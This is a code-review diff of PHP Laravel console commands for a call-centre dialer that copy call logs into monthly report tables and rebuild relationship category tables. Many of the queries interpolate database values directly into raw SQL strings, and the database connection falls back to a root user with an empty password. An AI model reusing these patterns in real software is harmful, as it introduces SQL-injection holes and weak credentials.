| 53 | 'collation' => 'utf8_unicode_ci', | ||
| 54 | 'prefix' => '', | ||
| 55 | 'options' => array( | ||
| 56 | PDO::ATTR_TIMEOUT => 5, | ||
| 57 | ), | ||
| 58 | ); | ||
| 59 | Config::set("database.connections.conn", $conn); | ||
| 60 | |||
| 61 | |||
| 62 | if(DB::connection("conn")->getDatabaseName()) | ||
| 63 | { | ||
| 64 | |||
| 65 | $relationshipList = DB::connection("conn")->select(DB::raw("SELECT * FROM relationship_tagging")); | ||
| 66 | |||
| 67 | $relationshipData = 0; $newService = 0; $newCategory = 0; $newSubCategory = 0; | ||
| 68 | |||
| 69 | foreach ($relationshipList as $list) { | ||
| 70 | $serviceId = 0; | ||
| 71 | |||
| 72 | $service = DB::select(DB::raw("SELECT * FROM relationship_service WHERE title = '$list->service'")); | ||
| 73 | |||
| 74 | if(count($service)){ | ||
| 75 | $serviceId = $service[0]->id; | ||
| 76 | }else{ | ||
| 77 | $addService = DB::table('relationship_service')->insert(['title'=>$list->service]); | ||
| 78 | $serviceId = $addService; | ||
| 79 | $newService++; | ||
| 80 | } | ||
| 81 | |||
| 82 | $category = DB::select(DB::raw("SELECT * FROM relationship_category WHERE service_id = $serviceId AND title = '$list->category'")); | ||
| 83 | |||
| 84 | if(count($category)){ | ||
| 85 | $categoryId = $category[0]->id; | ||
| 86 | }else{ | ||
| 87 | $addCategory = DB::table('relationship_category')->insert(['service_id'=>$serviceId,'title'=>$list->category]); | ||
| 88 | $categoryId = $addCategory; | ||
| 89 | $newCategory++; | ||
| 90 | } | ||
| 91 | |||
| 92 | $subCategory = DB::select(DB::raw("SELECT * FROM relationship_sub_category WHERE category_id = $categoryId AND title = '$list->sub_category'")); | ||
| 93 | |||
| 94 | if(count($subCategory)){ | ||
| 95 | $subCategoryId = $subCategory[0]->id; | ||
| 96 | }else{ | ||
| 97 | $addSubCategory = DB::table('relationship_sub_category')->insert(['category_id'=>$categoryId,'title'=>$list->sub_category]); | ||
| 98 | $subCategoryId = $addSubCategory; | ||
| 99 | $newSubCategory++; | ||
| 100 | } | ||
| 101 | //DB::table('relationship_tagging')->where('id', $list->id)->update(['status'=>'InActive']); | ||
| 102 | $relationshipData++; | ||
| 103 | } | ||
| 104 | echo "Total ".$relationshipData." data process and ". $newService." service, ".$newCategory." category, ".$newSubCategory." sub category added"; | ||
| 105 | |||
| 106 | DB::connection("conn")->disconnect(); | ||
| 107 | |||
| 108 | } | ||
| 109 | |||
| 110 | } | ||
| 111 | |||
| 112 | |||
| 113 | } |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | //use Mail; | ||
| 5 | use DB; | ||
| 6 | use Config; | ||
| 7 | |||
| 8 | use App\Models\User; | ||
| 9 | use App\Models\Accesslog; | ||
| 10 | |||
| 11 | use App\Models\CRMCall; | ||
| 12 | use Schema; | ||
| 13 | use PDO; | ||
| 14 | |||
| 15 | use Illuminate\Database\Schema\Blueprint; | ||
| 16 | |||
| 17 | class CreportEight extends Command { | ||
| 18 | |||
| 19 | /** | ||
| 20 | * The console command name. | ||
| 21 | * | ||
| 22 | * @var string | ||
| 23 | */ | ||
| 24 | protected $signature = 'CreportEight'; | ||
| 25 | |||
| 26 | /** | ||
| 27 | * The console command description. | ||
| 28 | * | ||
| 29 | * @var string | ||
| 30 | */ | ||
| 31 | protected $description = 'App Main Daily Task for CreportEight'; | ||
| 32 | |||
| 33 | /** | ||
| 34 | * Execute the console command. | ||
| 35 | * | ||
| 36 | * @return mixed | ||
| 37 | */ | ||
| 38 | public function handle() | ||
| 39 | { | ||
| 40 | $nowts=time(); | ||
| 41 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 42 | |||
| 43 | $logdate=strtotime('0 day'); | ||
| 44 | |||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 46 | $central_ip=env('central_ip'); | ||
| 47 | $server_ip=env('app_ip'); | ||
| 48 | $calllog_report = "calllog_report_".date("d_m_Y"); | ||
| 49 | |||
| 50 | $conn = array( | ||
| 51 | 'driver' => 'mysql', | ||
| 52 | 'host' => $central_ip, | ||
| 53 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 54 | 'username' => env('DB_USERNAME', 'root'), | ||
| 55 | 'password' => env('DB_PASSWORD', ''), | ||
| 56 | 'charset' => 'utf8', | ||
| 57 | 'collation' => 'utf8_unicode_ci', | ||
| 58 | 'prefix' => '', | ||
| 59 | 'options' => array( | ||
| 60 | PDO::ATTR_TIMEOUT => 5, | ||
| 61 | ), | ||
| 62 | ); | ||
| 63 | Config::set("database.connections.conn", $conn); | ||
| 64 | |||
| 65 | DB::connection("conn")->getDatabaseName(); | ||
| 66 | |||
| 67 | $serverclist=DB::connection("conn")->select(DB::raw("select id from server_details where server_ip='$server_ip'")); | ||
| 68 | $server_id=$serverclist[0]->id; | ||
| 69 | if($server_id<10){ | ||
| 70 | $server_id="0".$server_id; | ||
| 71 | } | ||
| 72 | |||
| 73 | |||
| 74 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(crmcall_id) as maxid from $calllog_report where server='$server_id'")); | ||
| 75 | |||
| 76 | $maxids=$maxid[0]->maxid; | ||
| 77 | |||
| 78 | $alist=DB::select(DB::raw("SELECT * from crmcalls where id>'$maxids' and created_at>'".date("Y-m-d")."' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | ||
| 79 | |||
| 80 | //$alist=DB::select(DB::raw("SELECT * from crmcalls where id>'$maxids' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | ||
| 81 | |||
| 82 | $userarr=array(); | ||
| 83 | foreach($alist as $aline) | ||
| 84 | { | ||
| 85 | $setstrarr=array(); | ||
| 86 | |||
| 87 | |||
| 88 | $clientcode="";$currentstatus="";$legalstatus="";$record_id=""; | ||
| 89 | if($aline->crm_id>0) | ||
| 90 | { | ||
| 91 | $user=DB::select(DB::raw("select id,clientcode,currentstatus,legalstatus from records where id='".$aline->crm_id."' limit 1;")); | ||
| 92 | if(isset($user[0])) | ||
| 93 | { | ||
| 94 | $record_id=$user[0]->id; | ||
| 95 | $clientcode=$user[0]->clientcode; | ||
| 96 | $currentstatus=$user[0]->currentstatus; | ||
| 97 | $legalstatus=$user[0]->legalstatus; | ||
| 98 | } | ||
| 99 | } | ||
| 100 | $tpostdata=json_decode($aline->data,true); | ||
| 101 | $fulldate=date("Y-m-d H:i:s",strtotime($aline->created_at)+330*60); | ||
| 102 | $talktime=$aline->talkSec+$aline->recstartSec+$aline->recendSec; | ||
| 103 | $length=round(($aline->waitSec+$aline->callSec+$talktime+$aline->dispoSec)/1000,2); | ||
| 104 | |||
| 105 | if(!isset($userarr[$aline->user_id])&&$aline->user_id>0)$userarr[$aline->user_id]=User::find($aline->user_id); | ||
| 106 | $dispname="";if(isset($userarr[$aline->user_id]))$dispname=$userarr[$aline->user_id]->dispname(); | ||
| 107 | $username="";if(isset($userarr[$aline->user_id]))$username=$userarr[$aline->user_id]->username; | ||
| 108 | $globalid=$server_id.$record_id; | ||
| 109 | $setstrarr[]="server='$server_id'"; | ||
| 110 | $setstrarr[]="record_id='$record_id'"; | ||
| 111 | $setstrarr[]="crmcall_id='$aline->id'"; | ||
| 112 | $countid=DB::connection("conn")->select(DB::raw("SELECT count(crmcall_id) as countid from $calllog_report where server='$server_id' and crmcall_id='$aline->id'")); | ||
| 113 | $countids=$countid[0]->countid; | ||
| 114 | if($countids>0){continue;} | ||
| 115 | $setstrarr[]="globalid='$globalid'"; | ||
| 116 | $setstrarr[]="start='$fulldate'"; | ||
| 117 | $setstrarr[]="length='$length'"; | ||
| 118 | $setstrarr[]="user='$username'"; | ||
| 119 | $setstrarr[]="name='$dispname'"; | ||
| 120 | $setstrarr[]="dispo='$aline->userstatus'"; | ||
| 121 | $setstrarr[]="subdispo='$aline->usersubstatus'"; | ||
| 122 | $setstrarr[]="callback='$aline->usercallback'"; | ||
| 123 | |||
| 124 | $setstrarr[]="number='$aline->number'"; | ||
| 125 | $setstrarr[]="clientcode='$clientcode'"; | ||
| 126 | $setstrarr[]="currentstatus='$currentstatus'"; | ||
| 127 | $setstrarr[]="legalstatus='$legalstatus'"; | ||
| 128 | $setstrarr[]="client='$aline->client'"; | ||
| 129 | $setstrarr[]="department='$aline->department'"; | ||
| 130 | $setstrarr[]="state='$aline->state'"; | ||
| 131 | $setstrarr[]="hsource='$aline->hsource'"; | ||
| 132 | |||
| 133 | $setstrarr[]="type='$aline->type'"; | ||
| 134 | $setstrarr[]="status='$aline->status'"; | ||
| 135 | $setstrarr[]="statuscode='$aline->statuscode'"; | ||
| 136 | $setstrarr[]="statusstr='$aline->substatus'"; | ||
| 137 | $setstrarr[]="dialline='$aline->dialline_id'"; | ||
| 138 | $setstrarr[]="did='$aline->did'"; | ||
| 139 | $setstrarr[]="waitsec='".round($aline->waitSec/1000,2)."'"; | ||
| 140 | $setstrarr[]="callsec='".round($aline->callSec/1000,2)."'"; | ||
| 141 | $setstrarr[]="talksec='".round($talktime/1000,2)."'"; | ||
| 142 | $setstrarr[]="disposec='".round($aline->dispoSec/1000,2)."'"; | ||
| 143 | $setstrarr[]="remarks='".str_replace("'","",$aline->userremarks)."'"; | ||
| 144 | $setstrarr[]="userdata='$aline->userdata'"; | ||
| 145 | $setstrarr[]="attempt='$aline->attempt'"; | ||
| 146 | |||
| 147 | $setstr=implode(",",$setstrarr); | ||
| 148 | DB::connection("conn")->insert(DB::raw("insert into ".$calllog_report." set $setstr")); | ||
| 149 | } | ||
| 150 | |||
| 151 | } | ||
| 152 | } | ||
| 153 | |||
| 154 |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | |||
| 5 | use DB; | ||
| 6 | use App\Models\RelationshipService; | ||
| 7 | use App\Models\RelationshipCategory; | ||
| 8 | use App\Models\RelationshipSubCategory; | ||
| 9 | |||
| 10 | use Config; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class relationship_tag extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'relationship_tag'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'relationship_tag'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | |||
| 41 | echo date('Y-m-d H:i:s')."\n"; | ||
| 42 | |||
| 43 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 44 | $server_ip=env('app_ip'); | ||
| 45 | $central_ip=env('central_ip'); | ||
| 46 | |||
| 47 | $conn = array( | ||
| 48 | 'driver' => 'mysql', | ||
| 49 | 'host' => $central_ip, | ||
| 50 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 51 | 'username' => env('DB_USERNAME', 'root'), | ||
| 52 | 'password' => env('DB_PASSWORD', ''), | ||
| 53 | 'charset' => 'utf8', | ||
| 54 | 'collation' => 'utf8_unicode_ci', | ||
| 55 | 'prefix' => '', | ||
| 56 | 'options' => array( | ||
| 57 | PDO::ATTR_TIMEOUT => 5, | ||
| 58 | ), | ||
| 59 | ); | ||
| 60 | |||
| 61 | Config::set("database.connections.conn", $conn); | ||
| 62 | |||
| 63 | if(DB::connection("conn")->getDatabaseName()) | ||
| 64 | { | ||
| 65 | $relationshipList = DB::connection("conn")->select(DB::raw("SELECT * FROM relationship_tagging")); | ||
| 66 | |||
| 67 | $relationshipData = 0; $newService = 0; $newCategory = 0; $newSubCategory = 0; | ||
| 68 | |||
| 69 | foreach ($relationshipList as $list) { | ||
| 70 | $service = RelationshipService::where('title','=',$list->service)->first(); | ||
| 71 | |||
| 72 | if(count($service)){ | ||
| 73 | $serviceId = $service->id; | ||
| 74 | |||
| 75 | }else{ | ||
| 76 | $addService = RelationshipService::create(['title'=>$list->service]); | ||
| 77 | $serviceId = $addService->id; | ||
| 78 | $newService++; | ||
| 79 | } | ||
| 80 | //echo $list->service." : ".$serviceId." - "; | ||
| 81 | |||
| 82 | $category = RelationshipCategory::where('service_id','=',$serviceId)->where('title','=',$list->category)->first(); | ||
| 83 | |||
| 84 | if(count($category)){ | ||
| 85 | $categoryId = $category->id; | ||
| 86 | |||
| 87 | }else{ | ||
| 88 | $addCategory = RelationshipCategory::create(['service_id'=>$serviceId,'title'=>$list->category]); | ||
| 89 | $categoryId = $addCategory->id; | ||
| 90 | $newCategory++; | ||
| 91 | } | ||
| 92 | //echo $list->category." : ".$categoryId." - "; | ||
| 93 | |||
| 94 | $subCategory = RelationshipSubCategory::where('category_id','=',$categoryId)->where('title','=',$list->sub_category)->first(); | ||
| 95 | |||
| 96 | if(count($subCategory)){ | ||
| 97 | $subCategoryId = $subCategory->id; | ||
| 98 | $updateSubCategory = DB::table('relationship_sub_category')->where('category_id','=',$categoryId)->where('title','=',$list->sub_category)->update(['status'=>$list->status]); | ||
| 99 | }else{ | ||
| 100 | $addSubCategory = RelationshipSubCategory::create(['category_id'=>$categoryId,'title'=>$list->sub_category,'status'=>$list->status]); | ||
| 101 | $subCategoryId = $addSubCategory->id; | ||
| 102 | $newSubCategory++; | ||
| 103 | } | ||
| 104 | echo $list->sub_category." : ".$subCategoryId."\n"; | ||
| 105 | |||
| 106 | //DB::table('relationship_tagging')->where('id', $list->id)->update(['status'=>'InActive']); | ||
| 107 | $relationshipData++; | ||
| 108 | } | ||
| 109 | echo "Total ".$relationshipData." data process and ". $newService." service, ".$newCategory." category, ".$newSubCategory." sub category added\n"; | ||
| 110 | |||
| 111 | DB::connection("conn")->disconnect(); | ||
| 112 | |||
| 113 | } | ||
| 114 | |||
| 115 | } | ||
| 116 | |||
| 117 | } |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | |||
| 5 | use DB; | ||
| 6 | use App\Models\RelationshipService; | ||
| 7 | use App\Models\RelationshipCategory; | ||
| 8 | use App\Models\RelationshipSubCategory; | ||
| 9 | |||
| 10 | use Config; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class relationship_tag extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'relationship_tag'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'relationship_tag'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | |||
| 41 | echo date('Y-m-d H:i:s')."\n"; | ||
| 42 | |||
| 43 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 44 | $server_ip=env('app_ip'); | ||
| 45 | $central_ip=env('central_ip'); | ||
| 46 | |||
| 47 | $conn = array( | ||
| 48 | 'driver' => 'mysql', | ||
| 49 | 'host' => $central_ip, | ||
| 50 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 51 | 'username' => env('DB_USERNAME', 'root'), | ||
| 52 | 'password' => env('DB_PASSWORD', ''), | ||
| 53 | 'charset' => 'utf8', | ||
| 54 | 'collation' => 'utf8_unicode_ci', | ||
| 55 | 'prefix' => '', | ||
| 56 | 'options' => array( | ||
| 57 | PDO::ATTR_TIMEOUT => 5, | ||
| 58 | ), | ||
| 59 | ); | ||
| 60 | |||
| 61 | Config::set("database.connections.conn", $conn); | ||
| 62 | |||
| 63 | if(DB::connection("conn")->getDatabaseName()) | ||
| 64 | { | ||
| 65 | |||
| 66 | DB::table('relationship_service')->truncate(); | ||
| 67 | DB::table('relationship_category')->truncate(); | ||
| 68 | DB::table('relationship_sub_category')->truncate(); | ||
| 69 | |||
| 70 | $relationshipList = DB::connection("conn")->select(DB::raw("SELECT * FROM relationship_tagging")); | ||
| 71 | |||
| 72 | $relationshipData = 0; $newService = 0; $newCategory = 0; $newSubCategory = 0; | ||
| 73 | |||
| 74 | foreach ($relationshipList as $list) { | ||
| 75 | $service = RelationshipService::where('title','=',$list->service)->first(); | ||
| 76 | |||
| 77 | if(count($service)){ | ||
| 78 | $serviceId = $service->id; | ||
| 79 | |||
| 80 | }else{ | ||
| 81 | $addService = RelationshipService::create(['title'=>$list->service]); | ||
| 82 | $serviceId = $addService->id; | ||
| 83 | $newService++; | ||
| 84 | } | ||
| 85 | //echo $list->service." : ".$serviceId." - "; | ||
| 86 | |||
| 87 | $category = RelationshipCategory::where('service_id','=',$serviceId)->where('title','=',$list->category)->first(); | ||
| 88 | |||
| 89 | if(count($category)){ | ||
| 90 | $categoryId = $category->id; | ||
| 91 | |||
| 92 | }else{ | ||
| 93 | $addCategory = RelationshipCategory::create(['service_id'=>$serviceId,'title'=>$list->category]); | ||
| 94 | $categoryId = $addCategory->id; | ||
| 95 | $newCategory++; | ||
| 96 | } | ||
| 97 | //echo $list->category." : ".$categoryId." - "; | ||
| 98 | |||
| 99 | $subCategory = RelationshipSubCategory::where('category_id','=',$categoryId)->where('title','=',$list->sub_category)->first(); | ||
| 100 | |||
| 101 | if(count($subCategory)){ | ||
| 102 | $subCategoryId = $subCategory->id; | ||
| 103 | //$updateSubCategory = DB::table('relationship_sub_category')->where('category_id','=',$categoryId)->where('title','=',$list->sub_category)->update(['status'=>$list->status]); | ||
| 104 | }else{ | ||
| 105 | $addSubCategory = RelationshipSubCategory::create(['category_id'=>$categoryId,'title'=>$list->sub_category,'status'=>$list->status]); | ||
| 106 | $subCategoryId = $addSubCategory->id; | ||
| 107 | $newSubCategory++; | ||
| 108 | } | ||
| 109 | echo $list->sub_category." : ".$subCategoryId."\n"; | ||
| 110 | |||
| 111 | //DB::table('relationship_tagging')->where('id', $list->id)->update(['status'=>'InActive']); | ||
| 112 | $relationshipData++; | ||
| 113 | } | ||
| 114 | echo "Total ".$relationshipData." data process and ". $newService." service, ".$newCategory." category, ".$newSubCategory." sub category added\n"; | ||
| 115 | |||
| 116 | DB::connection("conn")->disconnect(); | ||
| 117 | |||
| 118 | } | ||
| 119 | |||
| 120 | } | ||
| 121 | |||
| 122 | } |
application/app/Console/Commands/CreportEight.php
100755 → 100644
| ... | @@ -38,6 +38,7 @@ class CreportEight extends Command { | ... | @@ -38,6 +38,7 @@ class CreportEight extends Command { |
| 38 | public function handle() | 38 | public function handle() |
| 39 | { | 39 | { |
| 40 | $nowts=time(); | 40 | $nowts=time(); |
| 41 | $date=date('F_Y'); | ||
| 41 | echo "\n".date('Y-m-d H:i:s')."\n"; | 42 | echo "\n".date('Y-m-d H:i:s')."\n"; |
| 42 | 43 | ||
| 43 | $logdate=strtotime('0 day'); | 44 | $logdate=strtotime('0 day'); |
| ... | @@ -45,8 +46,8 @@ class CreportEight extends Command { | ... | @@ -45,8 +46,8 @@ class CreportEight extends Command { |
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 46 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| 46 | $central_ip=env('central_ip'); | 47 | $central_ip=env('central_ip'); |
| 47 | $server_ip=env('app_ip'); | 48 | $server_ip=env('app_ip'); |
| 48 | $calllog_report = "calllog_report_".date("d_m_Y"); | 49 | //$calllog_report = "calllog_report_".date("d_m_Y"); |
| 49 | 50 | $calllog_report = "calllog_report_".$date; | |
| 50 | $conn = array( | 51 | $conn = array( |
| 51 | 'driver' => 'mysql', | 52 | 'driver' => 'mysql', |
| 52 | 'host' => $central_ip, | 53 | 'host' => $central_ip, |
| ... | @@ -75,7 +76,10 @@ class CreportEight extends Command { | ... | @@ -75,7 +76,10 @@ class CreportEight extends Command { |
| 75 | 76 | ||
| 76 | $maxids=$maxid[0]->maxid; | 77 | $maxids=$maxid[0]->maxid; |
| 77 | 78 | ||
| 78 | $alist=DB::select(DB::raw("SELECT * from crmcalls where id>'$maxids' and created_at>'".date("Y-m-d")."' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | 79 | $alist=DB::select(DB::raw("SELECT * from crmcalls where id>'$maxids' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); |
| 80 | //$alist=DB::select(DB::raw("SELECT * from crmcalls where id>'$maxids' and created_at>'".date("Y-m-d")."' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | ||
| 81 | |||
| 82 | //$alist=DB::select(DB::raw("SELECT * from crmcalls where id>'$maxids' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | ||
| 79 | 83 | ||
| 80 | $userarr=array(); | 84 | $userarr=array(); |
| 81 | foreach($alist as $aline) | 85 | foreach($alist as $aline) |
| ... | @@ -108,6 +112,7 @@ class CreportEight extends Command { | ... | @@ -108,6 +112,7 @@ class CreportEight extends Command { |
| 108 | $setstrarr[]="record_id='$record_id'"; | 112 | $setstrarr[]="record_id='$record_id'"; |
| 109 | $setstrarr[]="crmcall_id='$aline->id'"; | 113 | $setstrarr[]="crmcall_id='$aline->id'"; |
| 110 | $setstrarr[]="globalid='$globalid'"; | 114 | $setstrarr[]="globalid='$globalid'"; |
| 115 | $setstrarr[]="created_at='$aline->created_at'"; | ||
| 111 | $setstrarr[]="start='$fulldate'"; | 116 | $setstrarr[]="start='$fulldate'"; |
| 112 | $setstrarr[]="length='$length'"; | 117 | $setstrarr[]="length='$length'"; |
| 113 | $setstrarr[]="user='$username'"; | 118 | $setstrarr[]="user='$username'"; |
| ... | @@ -137,6 +142,9 @@ class CreportEight extends Command { | ... | @@ -137,6 +142,9 @@ class CreportEight extends Command { |
| 137 | $setstrarr[]="disposec='".round($aline->dispoSec/1000,2)."'"; | 142 | $setstrarr[]="disposec='".round($aline->dispoSec/1000,2)."'"; |
| 138 | $setstrarr[]="remarks='".str_replace("'","",$aline->userremarks)."'"; | 143 | $setstrarr[]="remarks='".str_replace("'","",$aline->userremarks)."'"; |
| 139 | $setstrarr[]="userdata='$aline->userdata'"; | 144 | $setstrarr[]="userdata='$aline->userdata'"; |
| 145 | $setstrarr[]="attempt='$aline->attempt'"; | ||
| 146 | $setstrarr[]="priority='$aline->priority'"; | ||
| 147 | $setstrarr[]="question='$aline->question'"; | ||
| 140 | 148 | ||
| 141 | $setstr=implode(",",$setstrarr); | 149 | $setstr=implode(",",$setstrarr); |
| 142 | DB::connection("conn")->insert(DB::raw("insert into ".$calllog_report." set $setstr")); | 150 | DB::connection("conn")->insert(DB::raw("insert into ".$calllog_report." set $setstr")); | ... | ... |
application/app/Console/Commands/DailyLogout.php
100755 → 100644
File mode changed
application/app/Console/Commands/DeleteCrmcalls.php
100755 → 100644
File mode changed
application/app/Console/Commands/InsertCrmArchive.php
100755 → 100644
| ... | @@ -49,7 +49,7 @@ class InsertCrmArchive extends Command { | ... | @@ -49,7 +49,7 @@ class InsertCrmArchive extends Command { |
| 49 | 49 | ||
| 50 | DB::insert(DB::raw("insert into crmcalls_archive select * from crmcalls where id>(select max(id) from crmcalls_archive)")); | 50 | DB::insert(DB::raw("insert into crmcalls_archive select * from crmcalls where id>(select max(id) from crmcalls_archive)")); |
| 51 | 51 | ||
| 52 | DB::update(DB::raw("UPDATE crmcalls_archive as ca INNER JOIN crmcalls as c on ca.id = c.id set ca.state = c.state,ca.statuscode = c.statuscode,ca.status = c.status,ca.substatus = c.substatus,ca.callSec = c.callSec,ca.ts_Talk = c.ts_Talk,ca.ts_Recstart = c.ts_Recstart,ca.ts_Recend = c.ts_Recend,ca.ts_Dispo = c.ts_Dispo,ca.ts_Close = c.ts_Close,ca.dispoSec = c.dispoSec,ca.recstartSec=c.recstartSec,ca.data = c.data,ca.recsize = c.recsize,ca.userstatus = c.userstatus,ca.usersubstatus = c.usersubstatus,ca.usercallback = c.usercallback ,ca.userremarks = c.userremarks")); | 52 | DB::update(DB::raw("UPDATE crmcalls_archive as ca INNER JOIN crmcalls as c on ca.id = c.id set ca.state = c.state,ca.statuscode = c.statuscode,ca.status = c.status,ca.substatus = c.substatus,ca.callSec = c.callSec,ca.ts_Talk = c.ts_Talk,ca.ts_Recstart = c.ts_Recstart,ca.ts_Recend = c.ts_Recend,ca.ts_Dispo = c.ts_Dispo,ca.ts_Close = c.ts_Close,ca.dispoSec = c.dispoSec,ca.recstartSec=c.recstartSec,ca.data = c.data,ca.recsize = c.recsize,ca.userstatus = c.userstatus,ca.usersubstatus = c.usersubstatus,ca.usercallback = c.usercallback ,ca.userremarks = c.userremarks,ca.attempt = c.attempt,ca.priority = c.priority,ca.question = c.question")); |
| 53 | 53 | ||
| 54 | echo 'End'; | 54 | echo 'End'; |
| 55 | } | 55 | } | ... | ... |
application/app/Console/Commands/KstychARP.php
100755 → 100644
File mode changed
application/app/Console/Commands/KstychDaily.php
100755 → 100644
File mode changed
application/app/Console/Commands/KstychPAGI.php
100755 → 100644
File mode changed
application/app/Console/Commands/KstychPAMI.php
100755 → 100644
File mode changed
application/app/Console/Commands/bulkServerUpload.php
100755 → 100644
File mode changed
application/app/Console/Commands/bulkServerUpload_1.php
100755 → 100644
File mode changed
application/app/Console/Commands/bulkServerUpload_2.php
100755 → 100644
File mode changed
application/app/Console/Commands/bulkServerUpload_3.php
100755 → 100644
File mode changed
application/app/Console/Commands/bulkServerUpload_4.php
100755 → 100644
File mode changed
application/app/Console/Commands/bulkServerUpload_5.php
100755 → 100644
File mode changed
application/app/Console/Commands/bulkServerUpload_6.php
100755 → 100644
File mode changed
application/app/Console/Commands/calllog.php
0 → 100644
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | //use Mail; | ||
| 5 | use DB; | ||
| 6 | use Config; | ||
| 7 | |||
| 8 | use App\Models\User; | ||
| 9 | use App\Models\Accesslog; | ||
| 10 | |||
| 11 | use App\Models\CRMCall; | ||
| 12 | use Schema; | ||
| 13 | use PDO; | ||
| 14 | |||
| 15 | use Illuminate\Database\Schema\Blueprint; | ||
| 16 | |||
| 17 | class calllog extends Command { | ||
| 18 | |||
| 19 | /** | ||
| 20 | * The console command name. | ||
| 21 | * | ||
| 22 | * @var string | ||
| 23 | */ | ||
| 24 | protected $signature = 'calllog'; | ||
| 25 | |||
| 26 | /** | ||
| 27 | * The console command description. | ||
| 28 | * | ||
| 29 | * @var string | ||
| 30 | */ | ||
| 31 | protected $description = 'App Main Daily Task for calllog'; | ||
| 32 | |||
| 33 | /** | ||
| 34 | * Execute the console command. | ||
| 35 | * | ||
| 36 | * @return mixed | ||
| 37 | */ | ||
| 38 | public function handle() | ||
| 39 | { | ||
| 40 | $nowts=time(); | ||
| 41 | $date=date('F_Y'); | ||
| 42 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 43 | |||
| 44 | $logdate=strtotime('0 day'); | ||
| 45 | |||
| 46 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 47 | $central_ip=env('central_ip'); | ||
| 48 | $server_ip=env('app_ip'); | ||
| 49 | $calllog_report = "calllog_report_".$date; | ||
| 50 | |||
| 51 | $conn = array( | ||
| 52 | 'driver' => 'mysql', | ||
| 53 | 'host' => $central_ip, | ||
| 54 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 55 | 'username' => env('DB_USERNAME', 'root'), | ||
| 56 | 'password' => env('DB_PASSWORD', ''), | ||
| 57 | 'charset' => 'utf8', | ||
| 58 | 'collation' => 'utf8_unicode_ci', | ||
| 59 | 'prefix' => '', | ||
| 60 | 'options' => array( | ||
| 61 | PDO::ATTR_TIMEOUT => 5, | ||
| 62 | ), | ||
| 63 | ); | ||
| 64 | Config::set("database.connections.conn", $conn); | ||
| 65 | |||
| 66 | DB::connection("conn")->getDatabaseName(); | ||
| 67 | |||
| 68 | $serverclist=DB::connection("conn")->select(DB::raw("select id from server_details where server_ip='$server_ip'")); | ||
| 69 | $server_id=$serverclist[0]->id; | ||
| 70 | if($server_id<10){ | ||
| 71 | $server_id="0".$server_id; | ||
| 72 | } | ||
| 73 | |||
| 74 | |||
| 75 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(crmcall_id) as maxid from $calllog_report where server='$server_id'")); | ||
| 76 | |||
| 77 | $maxids=$maxid[0]->maxid; | ||
| 78 | |||
| 79 | $alist=DB::select(DB::raw("SELECT * from crmcalls where id>'$maxids' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | ||
| 80 | |||
| 81 | //$alist=DB::select(DB::raw("SELECT * from crmcalls where id>'$maxids' and created_at>'".date("Y-m-d")."' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | ||
| 82 | |||
| 83 | //$alist=DB::select(DB::raw("SELECT * from crmcalls where id>'$maxids' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | ||
| 84 | |||
| 85 | $userarr=array(); | ||
| 86 | foreach($alist as $aline) | ||
| 87 | { | ||
| 88 | $setstrarr=array(); | ||
| 89 | |||
| 90 | |||
| 91 | $clientcode="";$currentstatus="";$legalstatus="";$record_id=""; | ||
| 92 | if($aline->crm_id>0) | ||
| 93 | { | ||
